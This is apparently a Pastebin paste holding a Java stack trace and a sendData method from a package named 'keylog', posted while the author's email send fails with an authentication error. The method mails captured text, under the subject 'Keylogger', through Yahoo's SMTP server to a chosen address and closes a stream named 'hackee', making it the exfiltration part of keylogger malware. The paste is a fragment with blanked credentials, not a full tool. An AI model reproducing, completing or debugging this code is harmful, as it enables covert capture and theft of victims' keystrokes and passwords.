Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- javax.mail.AuthenticationFailedException: failed to connect, no password specified?
- 2015/12/29 16:07:41
- at javax.mail.Service.connect(Service.java:329)
- at javax.mail.Service.connect(Service.java:176)
- at javax.mail.Service.connect(Service.java:125)
- at javax.mail.Transport.send0(Transport.java:194)
- at javax.mail.Transport.send(Transport.java:124)
- at keylog.keylogger.sendData(keylogger.java:81)
- at keylog.keylogging.main(keylogging.java:41)
- public void sendData(String s, String $mail) throws IOException, MessagingException
- {
- String host = "smtp.yahoo.com";
- String from = "??@yahoo.com";
- Properties props = System.getProperties();
- props.put("mail.smtp.host", host);
- props.put("mail.smtp.user", from);
- props.put("mail.smtp.password", "??");
- props.put("mail.smtp.port", "465");
- props.put("mail.smtp.auth", "true");
- Session session = Session.getDefaultInstance(props, null);
- Message message = new MimeMessage(session);
- message.setFrom(new InternetAddress("??@yahoo.com"));
- message.setSubject("Keylogger");
- message.setText(s);
- message.addRecipient(RecipientType.TO, new InternetAddress($mail));
- Transport.send(message);
- out.println(s);
- hackee.close();
- out.close();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement